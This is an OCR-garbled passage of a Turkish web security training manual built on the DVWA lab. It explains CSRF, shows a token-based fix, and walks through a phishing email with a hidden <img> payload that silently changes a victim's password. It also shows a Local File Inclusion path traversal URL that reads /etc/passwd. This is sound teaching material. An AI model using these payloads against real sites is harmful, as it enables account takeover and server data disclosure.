<input type="password"” autoccomplete="off" name="password_new"><br:
Confirm new password:<br>

<input type="password"” autoccomplete="off" name="password_conf" ><br>
<br:

<input type="submit" wvalue="Change" name="Change"»

</form>

Cikti:

TUBITAK — BILGEM - Siber Givenlik Enstitisi

88


http://www.includekarabuk.com/kategoriler/genel/GET-ile-POST-Arasindaki-Fark.php
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Cum 17:34
Vulnerability: Cross Site Request Forgery (CSRF) = Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Chromium

B Vulnerability: Cross Site |

=t Apps O Logintobys | Bug#1823583.. @ AboutFreeze @ About Freeze?2

= o | Vulnerability: Cross Site Request Forgery (CSRF)

I — ;
Cl <« > Cc 0 O b
)

9

Change your admin password:

New password:
N7 ButeForce | ]
Command Injection Confirm new passviord:

File Inclusion Change

More Information

|
§

|
t

Form alindaki yeni sifre, yeni sifre onay kisimlarina ilave olarak ekstradan CSRF token degeri
tutan bir alan eklenirse bu saldirinin énline gegilebilir. Yani uygulamadaki bu kod blogu;

Uygulamadaki Talep Noktasi (Guvensiz Hal):

<form action="#" method="GET"»
Mew password:<br:
<imput type="password" autoccomplete="off" name="password_new"><br:

Confirm new password:<br>
<input type="password"” autoccomplete="off" name="password_conf" ><br>

<br>
<input type="submit" wvalue="Change" name="Change">»
</form>
asagidaki gibi dizenlenirse,
Uygulamadaki Talep Noktasi (Guvenli Hal):
<form action="#" method="GET">»
Mew password:<br:

<input type="password” autoccomplete="off" name="password_new"><br>

Confirm new password:<br>
<input type="password"” autocomplete="off" name="password conf"><br:>

<input type="hidden" name="csrf_jetonu” value="97sdjfklsdfkd329743k1df">
<br:

<input type="submit" walue="Change" name="Change">
</form>
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eposta yoluyla gdénderilen zararli postadaki <img etiketindeki link rastgele degerde olusturulan
csrf token parametresine sahip olmayacagindan veya bu parametreye sahip olsa bile dogru
degeri (sunucunun kabul ettigi degeri) tutturmasi olduk¢a gic olacagindan kurban, postayi
goérintilediginde farkina varmadan talebi yapacaktir yine, ama, talebi alan sunucu talepteki
csrf token degerinin yanlishgini gorerek talebi gecersiz sayacaktir ve islemeyecektir. Boylece
kurban istegi disinda ve fark etmeden bir form'u submit'lememis olacaktir.

Ekstra

Piyasada Zimbra adiyla dne ¢ikan bir eposta servisi Gzerinden csrf saldirisini uygulayalim ve
bu eposta igeriginin gercekten ise yarayip yaramadigini test edelim. Oncelikle (filtreleme
mekanizmalari iyi calismayan) bu eposta servisiyle / uygulamasiyla zararh kod iceren
(Tebrikler 10$ kazandiniz.... diyen igerekteki) epostayi olusturalim. Not: Muhtemel odur ki
eposta icerigini saldirgan daha akillica suslemeyi deneyebilir. Boylece kurbanlarin epostaya
tiklama ve goéruntileme durtlleri Gzerinden sonuca ulagsmayi deneyebilir.

Asagida ornek bir eposta servisi Uzerinden eposta olusturma ekrani gosterilmistir.

Activities @ Chromium Web Browser ¥ Prs 13:59
Zimbra: Olustur - Chromium
& Vulnerability: GRS £ Zimbra: Olustur x x | 3% Ders7-CrossSiteReque: x |+
<« cC O oa Xyz.tr
i Apps @ Logintobya |- Bug#1823583... (& AboutFreeze @ AboutFreeze2

Webmail

Posta Kigiler Takvim Gorevier Evrak Cantasi Tercihler Bravo 1008 Kaza 3

Gonder | iptal | | Taslagi Kaydet | | Secenekler v

Kime: || hayri_yalcinova@xyz.tr I I u

o

Kk ‘

Konu: [Bravo 1003 Kazandin

Eklev‘f Bu mesaja ekle,

SansSerifv 12ptv Paagafy B 7 U § Lk A v A~ == v iEv 6 = = =

MNP OO — BB <

Eposta servisinin eposta icerigi doldurma bdlgesine metin nitelikte veri doldurma yerine html
veri koyabilmek igin eposta servisinin segcenek olarak sundugu "Kaynak Kod" olanagindan
faydalanilir.
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Prs 1359

Activities @ Chromium Web Browser ~
Zimbra: Olustur - Chromium

O Vulnerability B zimbra: Olustur Yénetim Paneli - Yazi Di iteReque: X |+

<« c 0 & https://mail. xyz.tr

2 Apps @ Logintobya v Bug#1823583... & AboutFreeze @ AboutFreeze2

Webmail

Posta Kisiler Takvim Gorevler Evrak Cantasi Tercihler Bravo 1003 Kaza E3

Gonder | iptal | | TaslagiKaydet | | Secenekler +

Kime: ‘ hayri_yalcinova@xyz.tr

Kk:

Konu: [Bravo 1005 Kazandin

Ekle ¥

B 2 O Q — B 9

i
4
-
«
1l
Il
il
1]

Sans Serif v 12pt~ Paragraf~ B

<>

Activities @ Chromium Web Browser ¥ Prs 13:59
Zimbra: Olustur - Chromium

@ Vulnerabi B} zimbra: Olustur Yénetim Paneli - Yazi D Ders 7-Cross SiteReque: X | =+

< C O | @& hitpsy/mail. xyz.tr

! apps @ Logintobya Ip Bug#1823583 @® AboutFreeze @ About Freeze 2

Webmail

Posta Kisiler Takvim Gorevler

Kaynak kodu

Gonder | iptal Taslag Kaydet Secene

Kime: ‘ hayri_yalcinova@xyz.tr <p>Bravo size ™ </p>
<img src="http://localhost/dvwa/vulnerabilities/csrf/?

Kk:
password_new=deneme&password_conf=deneme&Change=Change#" width="1" height="1">|

Konu: ‘ Bravo 1008 Kazandin

Ekle ¥

SansSerifv  12ptv Paragrafv B [
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TASNIF DISI Web Uygulamalarini Ele Ge¢irme Egitimi: DVWA

Pencereye Tamam dendiginde kaynak kod, eposta metin bélimine gémulecektir ve
gOrinim olarak sadece html verinin olusturdugu gikti ekrana gelecektir. Gonder butonu ile

eposta kurbana génderilir.

Activities @ Chromium Web Browser ~ Prs 13:59
Zimbra: Olustur - Chromium

7-CrosssiteReques x | +

© Vulnerability: Refl S B zimbra: Olustur Yénetim Paneli - Yazi DI X | 4 Ders

xyz.tr
5 apps @ Logintobya 1o Bug#1823583... @ AboutFreeze @ AboutFreeze2
Webmail

Posta

Gonder | iptal | Taslai Kaydet | | Segenekler v
Kime: agvalcinova@xyz.tr

Kk: | \

onu: [Bravo 1008 Kazandin \

Eke ~ | Bu mesaja ekleri listirmek igin dosMgggnasadstantzden sartkleyip birakn
-EZ=Z EZ-E-6 ETE=ZTE RS OQ— @ H o

Kisiler Takvim Gorevler Evrak Cantasi Tercihler Bravo 100$ Kaza 3

Sans Serif v+ 12pt~  Paragraf v

[Bravo size ™

ve posta hedef
kisiye gonderilir

eposta
icerigi

Ornegin yine ayni filtreleme mekanizmasi iyi galismayan eposta servisiyle / uygulamasiyla
kurban, epostayi almig olsun.

Activities @ Chromium Web Browser = Prs 14:00
len Kutusu (3) - Chromium

nerability: Reflecte B Zimbra: Gelen Kutusu (3) x vénetim Paneli-Yazi D e Requ +

€2 C0 0Oa
i Apps @ Logintobya o Bug#1823583.. (@ AboutFreeze @@ AboutFreeze2

Kigiler Takvim Gorevier Evrak Cantasi Tercihler

g veni Mesaj

¥ Posta Klasorleri

&, Gelen Kutusu (3) 13:59
[ cénderilenler (£ Bravo 1008 Kazandin -

N Mesaji gbrintilemek igin, Gzerine tiklayin.
B3 Taslaklar (8) 13:38

3 istenmeyen Posta (. Anket @

W cop Kuwsu oo

B3 sentMessages 2 Mayrs Ay

Aramalar 30 Nisan

Etiketler J DUYURU (Dr. Metin DEMIRSOY) U

¥ Zimbra uygy) 30 Nisan
(4 [SPAM] 20189 yil
30 Misan
Yahoo! Emolicans
30 i

® Arsivie

Kurban epostayl agmadan Once, burada saldirinin ise yaramasi noktasinda bir baska
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gereksinime ihtiyag vardir. O da kurbanin tarayicida eposta servisini gorintilerken yan
sekmesinde Cross Site Request Forgery zafiyetine sahip web uygulamasini da barindiriyor
olmasidir. Burada 6rnek olarak DVWA uygulamasi kullaniimaktadir.

Prs 14:03

Vulnerability: SQL Inject

Gelen Kutusu (3) B vul

<

# Apps B Logintobya |

C 0 @ localhost

Bug #1823583.

Vulnerability: SQL Injection

User ID: Submit

More Information

Web
Mail
Sitesi

CSRF Acig! XS5 (Refiected)
Olan Yan
Sekmedeki :v'g*i«-wi
Bir Uygulama ase

Logout

Username: admin Heip|
Security Level: low MewSode] Ve Hetp)
PHPIDS: disabled

Kurban epostayl agmadan énce yan sekmedeki Cross Site Request Forgery agigina sahip
web uygulamasinda surf'inu diledigince yaparken

cable Web Application (OVWA) v1.9 - Chromium

;m-
e
) 3583.. @ AboutFreere @ AboutFreeze2
=

: D)
B e Vulnerability: SQL Injection
B Setup / Reset DB User 1D, Submit ’
N7 Brute Force

Command injection More Information
e CSRE

Filo Inclusion

i
;

TUBITAK — BILGEM — Siber Giivenlik Enstitiisi 93



TASNIF DISI
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Prs 14:03

Vulnerability: Reflected Cross Site Scripting (XsS) : Damn Vulnerable Web Application (DVWA) v1.9 - Chromium

B+

B Vulnerability: Reflecte

(e}

# Apps B Logintobya

@ localhost/dvw

@ AboutFreeze @ AboutFreeze?

Vulnerability: Reflected Cross Site Scripting (XSS)

Bug #1823583

What's your name?

Submit

Username: admin
Security Level: low
PHPIDS: disabled

More Information

View Source | View Help |

veya baska yan sekmelerde takilirken bir slire sonra eposta servisinin oldugu sekmeye
geldiginde ve gelen zararl postayi actiginda o sirada Cross Site Request Forgery zafiyetine

sahip web uygulamasi halen yanda ac¢ik oldugundan

I

oF-]

# Apps @ Logintobya |

Webmail

Kisiler

Big verinesai

JBir Kontral

B Zimbra: Gelen Kutusu (3) X

Bug #1823583

Takvim

Kullanigiya Birakilmis

@ AboutFreeze @ About Freeze2

Tercihler

Gorevier  Ewrak Gantasi

Tarih tarafindan diizenlendi

13:59

(3) - Chromium

+

Bravo 1008 Kazandin
Kimden: Jessy James

[ Gonderilenler

3 Tasflgpr (o)

W Gop Kutwsu
B Seni Messages
Aramalar
Etiketler

¥ Zimbra uygulamaciklari
B, Account History
@ WwebEx

&Y Yahoo! Emoticons

g Arsivie

& Bravo din

Kime: you

13:36

5 =Eposta icerigi =y

) Mayrs Ay!

J DUYURU (Dr. Metin DEMIRSOY)

3 [SPAM] 2019 yili

30 Nisan

30 Nisan

30 Nisan

30 Nisan

5 Dig resimler goriniolenmez. Tesimier Gortnidle
43 sundan gelen mesajian her zaman goruntole ibitak govr ya da fatih simsek@tubitak.gov.

Bravo size "
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Bravo 100$ Kazandin
13:59 kimden: |€ssy James

) Bravo 1008 Kazandin Kime: you

Bravo size ~*

wSaldiridan o Saldir

'''' etkilenen CSRE., .. wooumon

r mmonee@G 1J1 OlAN yan -y

c
nt History, J [SPAM] 2018 yili -f

. sayfa Vol et i
! Emoticons arini kolay layin, baglac 1veya

saldiri gergeklesir. Boylelikle kurban farkina dahi varmadan yan sekmedeki sitede bir iglem
yapmis olacaktir. Burada csrf acigi olan web uygulamasi ve bu acikh@ barindiran noktasi
geregi kurbana sadece sifre degistirttik. O bilmese de... Eder csrf agigi olan web
uygulamasinda baska csrf agikligi barindiran noktalar da varsa o zaman yapilabileceklerin
niceligi ve niteligi o kadar saldirgan nezdinde artacaktir.

Not:

Ornek olarak kullanilan eposta istemcisi resim igerikli postadaki resimlerin
goruntilenmesini onayliyor musun onaylamiyor musun tarzi bir vurguda
bulunmaktadir. Bu bir 6nlemdir. Fakat yeterli degildir. ClinkU burada kullaniciya bir
anlamda CSRF saldirisini yiyip yememe secimi sunulmaktadir. Bu riski, kullaniciya
sunmadan esasinda eposta hizmetinin bazi filtrelemelerle minimize etmesi gerekirdi.
Fakat filtreleme mekanizmasi iyi caligmadidindan risk oldugu gibi kullanicilarina
gitmektedir.

Kurban, ekraninda higbir hareket gérmese de saldiriy1 yemis olur ve yanda agik olan Cross
Site Request Forgery zafiyetine sahip web uygulamasindaki hesabi zararli postada ne yap
deniyorsa onu farkina varmadan yapmis olur. Bu DVWA uygulamasinda biz kurbanin sifresini
degistirme form'unu uzaktan sessizce kendi belirledidimiz sifre ile submit'ledik (yani
submit'lettirdik). Fakat bu yolla yapilabilecekler Cross Site Request Forgery zafiyetine sahip
web uygulamasinin yetenekleri dlgisinde arta da bilir azala da bilir. Bir uygulama ne kadar
¢ok Cross Site Request Forgery zafiyetine sahip talep alma ve sunucuya génderme noktasi
barindiniyorsa saldirgan o kadar ¢ok sey yapabilir.

Saldir sonrasi kurban tekrar yan sekmedeki Cross Site Request Forgery zafiyetine sahip web
uygulamasina (6rn; bir forum olabilir bu) gegip halen sorunsuzca surf'Unu yapabilir.
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o

Welcome = Damn Vulnerable Web Application (DVWA) v1.9 - Chromium

2 W welcome :: Damn Vulne: %
C O @ locahos P )
Apps @ Logintobya Bug #1823583. © AboutFreeze @ About Freeze 2
S
DVWA)
g
B Welcome to Damn Vulnerable Web Application!

Damn Vulerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. lts main
ol is 10 be an aid for securty professionals (0 test thei skalls and fools in a legal anvironment, help w
developers better understand the processas of securing web agplications and 10 aid both students & teachers to
leam about web application securty in a controlied class foom environment

The aim of DVWA is to pr of the most y. with various difficultly levels.
Vih & simp intertace,

General Instructions

Itis up 1o the wser how they approach DVWA. Esther by warking through every module af a fixed level, or
slecting any module and workng up 1o reach the highest level thay can before maving oto the next one. There
is not a fixed object to complete a module; howeves users should feel that they have successtully exploted the
system as best as they possible could by using that partcutar vulnerabity.

s software. The is

Piease note, there ar and ty with t
Inarfionat. Y02 & SrcoUEad 1 vy & GRCOver 83y 860 5 PoSERR

DVWA also inciudes a Web Applcation Firewall (WAF), PHPIDS, wihich can be enabled at any stage to futher
increase the difficulty This wil demonsirate how adding another layer of security may block certain malkciots
actons. Note, there are aiso varcus i methods i ypassing hese protecions (50 the can be see an as
n for more rs)!

o Ther isa hep button a the botom ofsach page whih alows you o vew ks & tps for that winsrabily
ave ais0 addzional inks for further background reading. which relates to that security iss!
WARNING!
towmesmm—— Dam Vineraie Web Applcation s darn winersbel Do not upload i to your hosting provider' public
mi folder or any Internat facing servers, as they wil be compromised. It i recommend sing & virtual
machios (uch &5 or Uk, Whih 1 56 10 NAT nworong mode. inide & guest machine, you
can downloading and install for the web server and dafabase

Disclaimer

Wo do not ake responsibieyfo the way n whic e uses this application (DVWA). We have made the
purposes of the appicaton cleas and & should nol nc used malciously We have given wamings and taker i

Prg 1509
Vulnerability: File Upload :: Damn Vulnerable Web Application (DVWA) v1.9 - Chromium

B Vuinerabilty: File Uploa: +

C 0 @ locathost

Apps B Logintobya | Bug#1823583... @ AboutFreeze @ AboutFreeze2

D)

o | Vulnerability: File Upload

kS Instructions | [

Choose an image to upload:

Choose File | No file chosen

Upload

More Information

Username: adimin TPy g
Security Level: low . < Euls
PHPIDS: disabled
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Activities @ Chromium Web Browser ~ Prs 15:10

Vulnerability: SQL Injection (8lind) :: Damn Vulnerable Web Application (DVWA) v1.9 - Chromium

B Vulnerability: SQL inject x [IE utusu (3 vonetim Paneli - Yaz D ¥ Ders 7 Cross Site Requ +
Ell < > c 0 @ ahe
) i Apps @ Logintobya Bug #1623583... @ AboutFreeze @ AboutFreeze2

. D)

Vulnerability: SQL Injection (Blind)

Z Setip | Reset DB | User ID: Submit
N7

|Commandinjection |  More Information

3
i
g

DVWA Security.

Username: admin a
Security Level: low View Source | View Help
PHPIDS: disabled

Fakat Logout (¢iIkig) yaptiginda, daha énce goéruntiledidi zararli posta kurbanin zafiyete
sahip web uygulamasindaki sifresini degistirdigi icin tekrar giris yapamayacaktir.

Activities @ Chromlum Web Browser ~ Prs 15110

About :: Damn Vulnerable Web Application (DVWA) v1.9 - Chromium

Pt RNt . 7imbra: Gelen Kutusy (3) Snetim Paneli-Yazi 0 % Ders7-Cross Site Req +

Cl < 5 c 0 @ loalho

, i Apps @ Logintobya Bug #1823583... @ AboutFreeze @ AboutFreeze2

8 e, About

s Instructions | Version 1.9 (Release date: 2015-09-19)
Setup | Reset DB ‘ Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vuinerable. Its main
174 goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web

developers better understand the processes of securing web applications and aid teachers/students to

'Q? Brute Force teachfleam web application security in a class room environment

Command Injection | The official documentation for DVWA can be found
éﬂu DVWA is a RandomStorm OpenSource project. All material is copyright 2008-2015 RandomStorm & Ryan
File Inclusion ‘ Dewhurst.
File Upload | Links
[ 4 Insecure CAPTCHA | « Homepage:
« Project Home:
L ] SO yecion | « Bug Tracker
* Souce Control:
SQL Injection (Blind) | s
XSS (Reflected) | T
XSS (Stored) ‘ Credits
« Craig
DVWA * Jamesr 1
SactrRy; | « Ryan Dewhurst
PHP Info ‘ « Tedi Heriyanto:
= * Tom Mackenzie:
| « RandomStorm
« Jason Jones
* Brooks Garrett:
Logout } « gOtmilk
* Shinkurt

« PHPIDS - Copyright (c) 2007

License

Damn Vulnerabie Web Application (DVWA) s free software: you can redistribute it and/or modify it under the
terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version

Kurban CSRF agigina sahip web sitesindeki
hesabindan ¢ikis yapar
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Activities @ Chromium Web Browser Prs 15:12

Login :: Damn Vulnerable Web Application (DVWA) v1.9 - Chromium

[ Login: Damn Vulnerabl x [EESFAUNIEREIENEMNEITE

€« C (@ O locathost/dvw
#! Apps @ Logintobya |- Bug#1823583. @® AboutFreeze @ About Freeze 2

9 e

DVWA)

N ;

Usemame

< |

Password

|
Login

Damn Vuinerable Web Apgiication (DYWA) fs 3 RandomS

Cikis yapilmugtir.

) Login:: Oam

€ C O @ locahost

it Apps O Logintobya | Bug#1823583.. @ AboutFreeze @ AboutFreeze2

: DVWA)

B
9

)
9

13
7
« <
Kurban
= €—— her zamanki
- o sifresini girer:

"password"

Qa0 Vimeratie Web Acsdcation (DY

Kurban belli bir stire sonra uygulamaya
tekrar giris yapmak ister.
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N\
- DVWA
. >< Giris basarisiz

Login

Cunkl biraz 6nce yan sekmede
goruntiledigi eposta, bu uygulamadaki
hesap sifresini degistirdi

Dam reratie Web Agcicaon (WA

Goruldugu uzere giris basarisizdir. Cunki daha énce goruntiledigi zararl eposta onun
kullanmakta oldugu uygulamadaki hesabinin sifresini degistirmistir.

B
|
Z
7
< Sayet zararl
E — epostadaki
b kodda belirtildigi

gibi sifre
"deneme" olarak
girilirse hesaba
giris saglanabile
cektir.

Eposta icerigine gémulen kodda sifre "deneme" olarak degistirilsin denmisti. Bu nedenle sifre
olarak "password" yerine saldirganin belirledigi "deneme" girildiginde
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Activities @ Chromium Web Brows Prs 15:14

Welcome = Damn Vulnerable Web Application (DVWA) v1.9 - Chromium

B welcome :Damn vulne: x |[ERIUIREeRIp: 3 v Paneli-Yazi € % Ders 7-Cross Site Req +
<«

t Apps

C (0 @ localhost,

B Logintobya |- Bug#1823583... @ Aboutfreeze @ AboutFreeze2

Welcome to Damn Vulnerablg/Web Application!

Damn Vulnerable Web Application (DVWA) is a PHPMySgI web application that is damn vulnerable. Its main

iils and tools in a legal environment, help web
developers better understand the processes of securingfveb applications and to aid both students & teachers to
leam about web application security in a controlled cgs room environment

The aim of DVWA Is to practice some of the ‘common web vulnerability, with various difficultly levels,
with a simple straightforward interface.

General Instructions

Itis up to the user how they approacgfVWA. Either by working through every module at  fixed level, or
selecting any module and working gto reach the highest level they can before moving onto the next one. There
is not a fixed object to complete agffodule; however users should feel that they have successfully exploited the
system as best as they possiblagfould by using that particular vulnerabilty.

Please note, there are both, and ity with this software. This is
intentional. You are encougfied (o try and discover as many issues as possible.

DVWA also inciudes ajfeb Application Firewall (WAF), PHPIDS, which can be enabled at any stage to further

Ire also various public methods at bypassing these protections (so this can be see an as
dvance users)!

utton at the bottom of each page. which allows you to view hints & tips for that vulnerability.
additional links for further background reading, which relates to that security issue.

in Vulnerable Web Application is damn vulnerable! Do not upload It to your hosting provider's public

I folder or any Internet facing servers, as they will be compromised. It is recommend using a virtual
achine (such as or ). which s set to NAT networking mode. Inside a guest machine, you
can downloading and install for the web server and database.

Disclaimer

We do not take responsibility for the way in which any one uses this application (DVWA). We have made the
purposes of the application clear and it should not be used maliciously. We have given wamings and taken
ol | i o o P LA B LS e A B i

oturum agcilabilecektir. Boylece CSRF zafiyeti yoluyla kurbanlara sessiz sedasiz aksiyon
aldirtilabilir.
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DERS 8 - FILE INCLUSION (LOW LEVEL)

Bu yazida DVWA adli web uygulamasinin igerisinde bulunan bir sayfanin glvenlik zafiyetinden
faydalanarak File Inclusion saldirisinda bulunulacaktir.

Dersin Hedefi
Hedef sunucunun hassas verilerini hedef sunucunun web sitesi Uzerinden oku.

File Inclusion Nedir?
File Inclusion, yani dosya dahil etme saldirisi saldirganin hedef web sitesine bir dosya dahil
etmesine ya da hedef web sitesinin kendinde olan ama sunmadigi bir dosyayi
goruntileyebilmesine denir.

File Inclusion acikhigini kullanan iki tir saldiri vardir: Bunlardan birincisi Local File Inclusion
diye adlandiriimaktadir, ikincisi ise Remote File Inclusion diye adlandiriimaktadir. Local File
Inclusion saldirisi hedef sitenin barindi§i sunucudaki ziyaretcilere sunulmamis dosyanin hedef
site Uzerinden goéruntllenebilmesine denir. Remote File Inclusion saldirisi ise hedef siteye
saldirganin kendi dosyasini (mesela shell dosyasini) gérintiletmesine denir.

File Inclusion Nasil Yapilir?

Bu baslik iki ayri alt baslikla devam edecektir: Local File Inclusion ve Remote File Inclusion
diye. Fakat 6nce DVWA'nIn bize sundugu sayfayi bir inceleyelim. Oncelikle DVWA'nIn File
Inclusion sayfasina gecis yapin:

Home | Vulnerability: File Inclusion

Instructions |

[ I-[ 1-1 1

Setup [ Reset DB |

More Information
Brute Force

Command Injection

CSRF

File Upload

Insecure CAPTCHA

Ardindan tarayicinizin adres ¢ubugunda gérintilenen bulundugunuz sayfanin linkine bakin:
http://localhost/dvwa/vulnerabilities/fi/?page=include.php

? isareti parametrelerin siralanacagi kismin basini ifade eder. = isareti parametreye deger
atanacagini ifade eder. Yukaridaki linkte bir tane parameter ve bir de onun degeri mevcuttur.

Bu parametrenin ismi page, yani sayfadir. Degeri ise bir dosya ismidir.

Simdi ekranin sundugu [file1.php], [file2.php] ve [file3.php] linklerine sirayla tiklayallm ve
linkteki degisimi ve igerikteki degisimi gozlemleyelim:
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[file1.php] 'e tiklandiginda:

[ localhost/dvwa/vulnerabilities/fi/? page=file 1.php

Vulnerability: File Inclusion

File 1

Hello admin
Your IP address is: ::1

[back]

More info

[file2.php] 'ye tiklandi§inda:

[0 localhost/dvwa/vulnerabilities/fi/?page=file2.php

Vulnerability: File Inclusion

File 2

"I needed a password eight characters long so | picked Sn
Mick Helm

[back]

More info

[file3.php] 'e tiklandiginda:
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[ localhost/dvwa/vulnerabilities/fi/?page=file3.php

Vulnerability: File Inclusion

File 3

Welcome back admin

Your IP address is: **Missing Header™

Your user-agent address is: Mozilla/5.0 (Windows NT 10.0;!
like Gecko) Chrome/46.0.2490.86 Safari/537.36

You came form: http://localhosti/dvwalvulnerabilities/fi/ ?pa
I'm hosted at: localhost

[back]

More info

Goruldugu Uzere page parametresi sirayla degisik 3 tane dosya ismi almaktadir ve aldigi
degerlere gore igerik degistirmektedir. Yani linkteki page parametresi icerik olarak yansitilacak
php dosyasini belirleyen bir dosya segici olarak kullaniliyor. Bu se¢im sonucunda mevcut
sayfanin barindigi

http://localhost/dvwa/vulnerabilities/fi/

dizinindeki bir dosya index.php’ye, yani hal-i hazirda goértntiliyor oldugumuz File Inclusion
sayfasina dahil ediliyor. Bu mekanizmaya File Inclusion, yani Dosya Dahil Etme denmektedir.
Bu go6zlemler sonrasi simdi saldiri agsamasina gecgelim.

Local File Inclusion

Yukarida bahsedilen File Inclusion mekanizmasi Gzerinden acaba Local File Inclusion saldirisi
gerceklestirebilir miyiz? Yani mesela linux sunucularinda tutulan /etc dizini altindaki passwd
gibi hassas bir dosyanin igerigini sitenin linkindeki parametre degerini oynayarak sayfaya
sectirtip ekrana yansitabilir miyiz? Eger guvenlik dnlemi alinmamigsa cevap evet.

Madem URL'nin parametresi sunucuda bulunan dosyalarin isimlerini aliyor ve buna gore ilgili
dosyanin igerigini ekrana yansitiyor. O zaman bunu sunucuda kullanici adlarinin ve
detaylarinin tutuldugu dosyayl ekrana yansitmak maksadiyla kullanmayi deneyelim.
Bulundugumuz dizin sudur (Linux Uzerinde DVWA'yi galistiriyor oldugunuz varsayildi):

Ivar/www/dvwa/vulnerabilities/fi/
Yukaridaki dizin su an goéruntiliyor oldugumuz sayfanin dizinidir. Bizim hedefimiz /etc

dizinindeki passwd dosyasina ulasmaktir. Cikmamiz ve dallanmamiz gereken yollari daha iyi
kavrayabilmeniz i¢in linux sistemlerin dosya hiyerargisine bakalim.
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etc dev home usr L var

BT T W

Goruldugu Uzere Linux’ta etc klasoru var klasorinin bulundugu dizindedir (havuzdadir).
Dolayisiyla bizim bulundugumuz

Ivarlwww/dvwa/vulnerabilities/fi/

dizininden var klasoriine gegebilmemiz icin birka¢ kez Ust dizine gikmamiz gerekir. Yani var
klasorine varana kadar Ust dizine ¢cikmaliyiz:

fi
vulnerabilities
dvwa

WWW

var

SN~ N N N

Bdylece anlariz ki 5 tane ../ komutundan kullanirsak var'in yer aldigi havuza, yani kok dizine
ulagiriz. Eger goruntiliyor oldugunuz sayfanin linkindeki page parametresine deger olarak

oA

eklersek fi klasérindn iginden ¢ikip taaa var klasérinin yer aldidi klasér havuzuna erigiriz.
Siradaki islem var klasértinin sibling’l (kardesi) olan etc klasérine dallanmaktir. Bunun igin
/etc/ dizini eklenir ve sonrasinda etc klasoru igerisinde barinan dosyanin ismi eklenir:

L Jetc/passwd

Bdylece

http://localhost/dvwa/vulnerabilities/fi/?page=../../..1../../etc/passwd

linkini enter'ladigimizda ekrana kullanici adi, kullanicilarin ait olduklari gruplar gibi bilgiler, yani
passwd dosyasinin igerigi yansitilir. Asagida nasil gorindiguni goérebilirsiniz.
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Vulnerability: File Inclusion : Damn Vulnerable Web Application (DVWA) v1. - Chromium 1 3 ) 2038 3%

B Metasploit [l Msfconsole [ Slgn in = MailEnable |l Tureng

1:Ldaemonsiu: i Syncix4:65534:sync:/bin: /mnlsyncg 60:games./usrigal
|px7 .p e x P

el
pmxy x 13 Tap pmxy Join:Jusr/sbirvnologin www-datax:33: 33 www-data:/varvmww: ustisbin/nologin backup:i:34:34:backup: Tist'x:38:38:Malling List May
(AT O RS T T e S e T S nobod

idx: 100:1
:46:usbmux daemon, 14,6553 i d105:113 Avahi
ammp daemon, Nar/mavam autoipd:/binfialse kemnopﬁ x:106:65534:Kemel Oops Tracking Daemon,, /binfaise rtkitx107:114:RealtimeKIt, :/proc: 10611 fbinffalse whoopsie:x-109:116:/nonexistent/binfalse
peech Dispatcher, 111:117:Avahl MDNS daemon,, /varirun/avahi-daemon:/hinvialse lightdm x:112:118:Light Display Manager. var/ibfightdm fbin/false
colorax113 121 cmom daem ip:x:114:7:HPLIP System user,, :Nar/run/hplip:/binffalse puisex:115:122:PulseAudio daemon,, /Varfiun/pulse:/binfaise
roiose-1000:1000 hetoss, nomernelesa:bvbash ‘mysqlx:116:126 MySQL Server, nonexistent/binfaise

Dyin)

Home
Instructions
Setup | Reset DB

Brute Force

Command Injection
EE—
[ e nowsion |

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

XSS (Reflected)

XSS (Stored)

DVWA Security

DHD Infn | =

wl =B 4 5@ ) @l Eiﬂﬂu

Bdylece Local File Inclusion saldirisini gerceklestirmis olduk. Edinilen kullanici adlari bir Brute
Force ve Dictionary saldirilarinda kullanilabilir ve boéylelikle hedef web sitesinin sunucusuna
sizilabilir.

Local File Inclusion (LFI) acigi ile baska kritik dosyalar da okunabilir. Mesela log dosyalari:
access.log , error.log gibi. is tamamen hedef sistemin klasdr yapisini bilmeye bakiyor. Klasér
yapisini ezberlemeye calismayin. Gergi bu tip seylerle mesgul olduk¢a bu ezber kendiliginden
geliyor ama en basitinden bilgisayarinizda bir linux sistemi agip dilediginiz kritik dosyayi
sisteme CTRL+F ile arattirabilirsiniz. Boylece buldugunuz dizini bu dersin URL’sindeki
parametreye deger olarak koyup sectiginiz dosyanin igerigini ekrana yansittirabilirsiniz.

[*] Ek Bilgi:

LFI acikligi Uzerinden hedef sunucudaki dosyalara ulagsma ve ekranda gorintileme isleminde
relative path (goreceli Ust dizine gikma) karakterleri (yani ../../'ler) yerine absolute path (tam
yol) alternatif ydontemi de uygulanabilir. Ornegin;

letc/passwd

dersek,
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Activities @ Chromium Web Browser ~ sal 10:49

Vulnerability: File Inclusion :: Damn Vulnerable Web Application (DVWA) v1.10 *Development* - Chromium

Yénetim Paneli- Yaz Diiz s8-File x ers 8-File Inclusion (Lo x | B§ Google Geviri 3 [ vulnerability: File Inclusic x

<«

i Apps @ Logintobya Ip Bug#1823583... @Ahout%@ About Freeze 2

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:fusr/sbin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/shin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nol

man:x:6:12:man:/var/cache/man:fusr/st \pd:fusr/sbin/nologin mail:x8:8:mail: ivar/mail-/ jin news:x:9:3:new: 7 I pox:10:10:uucp:fvar/spooliuucp:/usrisbin/n
:34:backup:/var/backups:/usrisbin/nologin list:x:38:38:Mailing List Manager:/varfist Jusrisbin/nologin irc:x:39:38:ircd:Avarfrun/ircd: /usnsbmmulogm gnats:x:41:41:

(admin):/var/lib/gnats: fusr/sbm/no\ogm nobody:: ody:/nonexistent:/t 1 5! d :X:100:102:systemd Network “Jusr/sbin/t i 101:103:

[Resolver,,,:frun/systemd/resolve:/usr/sbin/nologin syslog:x: é 'x:103:107::/nonexistent:/usr/sbin/ologin _apt:x:104:65534::/nonexistent:, /usrlsbmmalogln uuidd:x:105:111::/run/uuidc

autoip daemon, ,-var/lib/avahi-autoipd:/usr/sbin/nologin ugffux:x:107:46:usbmux daemon,, :var/liblusbmux /usnsbminulogm dnsmasq x:108:65534:dnsmasg,,, dvarflib/misc:/usr/sbin/nologin rtkit:x:109:114:RealtimeKit,,, /proc:fusr/

